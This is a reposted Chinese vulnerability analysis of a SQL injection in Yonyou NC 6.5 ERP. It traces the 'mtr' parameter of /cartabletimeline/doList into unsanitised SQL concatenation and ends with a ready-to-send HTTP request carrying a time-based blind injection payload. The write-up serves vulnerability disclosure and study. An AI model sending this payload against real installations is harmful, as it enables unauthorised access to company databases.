原文链接:https://forum.butian.net/article/627
作者:WLwl
用友NC是一款大型erp企业管理系统与电子商务平台。用友网络科技股份有限公司用友NC存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。
影响版本
用友NC6.5
VsmAction
类中此处存在@Servlet
注解,也就是说当访问路径为/cartabletimeline
会直接定位到这里。
在doList
方法上面标注了@Action
标签,当我们请求/cartabletimeline/doList
的时候就会进入该doList
方法。
继续看doList
方法的详细代码
这里接收了一个参数为mtr
,并且传入getVehicleApplyInfo
函数来执行,传入时将sb
变量转为字符串类型。
getVehicleApplyInfo
函数是carTalbeService
对象进行调用的,而carTalbeService
对象是通过ICarTalbeService
接口来进行实例化。
进入ICarTalbeService
接口
追踪ICarTalbeService
接口的实现类
定位到PsndocServiceImpl
类
观察getVehicleApplyInfo
具体实现内容
传入参数后调用了getCarTableQueryService().getgetUserVehicleApplyInfo
查看getCarTableQueryService
内容
这里返回的是一个carTableQueryService
类型的对象,那么去看carTableQueryService
类中的getgetUserVehicleApplyInfo
方法
跟踪queryVOs
,定位到CRUDHelper
类
类方法getCRUDService()
根据传入的类名AggVOCrudServiceImpl
去加载并返回一个 ILfwCRUDService
类型的实例
定位到ILfwCRUDService
类
查看queryVOs
函数内容
通过服务定位器ServiceLocator
来获取一个实现了 ILfwQueryService
接口的服务实例
定位到ILfwQueryService
实现类LfwQueryServiceImpl
参数wherePart
不为空,且不以"where"
字符结尾,则拼接进sql语句
至此代码分析结束
GET /portal/pt/cartabletimeline/doList?pageId=login&mtr=1)WAITFOR+DELAY+%270:0:2%27--+ HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Priority: u=4
原文始发于微信公众号(神农Sec):用友NC 漏洞分析--cartabletimeline存在SQL注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论